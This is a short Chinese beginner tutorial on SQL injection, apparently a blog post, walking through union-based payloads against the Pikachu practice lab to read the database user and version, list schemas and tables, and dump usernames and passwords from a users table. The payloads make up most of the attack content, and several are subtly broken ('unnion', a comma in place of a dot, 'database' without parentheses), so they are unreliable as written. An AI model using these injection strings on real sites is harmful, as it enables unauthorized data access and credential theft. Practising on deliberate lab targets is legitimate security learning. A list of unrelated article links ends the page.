【新手初学】读取数据库数据

利用注入点让SQL注入语句执行读取数据库数据相关的操作!

以下均以pikachu 靶场的字符型注入为例进行介绍说明

一、读取用户名,数据库版本信息

在原URL后面添加如下代码:

sql 复制代码
   ' union select user(),version()--+

效果:

补充:判断查询的字段个数order by

这时,就需要在相应环境下进行测试判断:主要是使用order by来判断

在后面添加1,2,3,4,5,6....进行测试,直到不再报错 !就判断出了其查询字段个数

如下:

二、读取mysql所有库名

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(schema_name) from information_schema,schemata+--+

效果:

三、读取pikachu库的所有表名

在原URL后面添加如下语句:

sql 复制代码
'unnion select 1,group_concat(table_name) from information_schema.tables where table_schema=database+--+

效果:

四、读取所有字段数据

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users+--+

效果:

相关推荐
YOU OU6 小时前
Redis基础常识与命令
数据库·redis·缓存
不好听6136 小时前
从一行 JSX 到屏幕像素:前端开发者必须懂的浏览器渲染管线
前端
恒拓高科WorkPlus6 小时前
企业级内网即时通讯建设模型:BeeWorks内网IM四层架构
前端
前端小李子7 小时前
前端环境变量裸奔?我用 EnvShield 给它穿了件防弹衣
前端
youtootech7 小时前
HarmonyOS《柚兔学伴》项目实战25-我的页面、Web 嵌入与项目总结
前端·华为·harmonyos
小林ixn8 小时前
从零到一理解 React 父子组件通信:手写一个 Todo 应用带你彻底搞懂单向数据流
前端·javascript·react.js
Database_Cool_8 小时前
OLTP 和 OLAP 区别详解:分析型数据库和事务型数据库怎么选(附阿里云 AnalyticDB MySQL 选型指南)
数据库·mysql·阿里云
爱写代码的阿森9 小时前
鸿蒙三方库 | harmony-utils之KvUtil键值型数据库操作详解
数据库·华为·harmonyos·鸿蒙·huawei
Database_Cool_9 小时前
单机 MySQL 迁移到分布式数据库方便吗?阿里云 PolarDB-X 100% MySQL 协议兼容零改造平滑迁移
数据库·分布式·mysql
醇氧9 小时前
CountDownLatch / CyclicBarrier / Semaphore 面试高频问答清单
前端·面试·职场和发展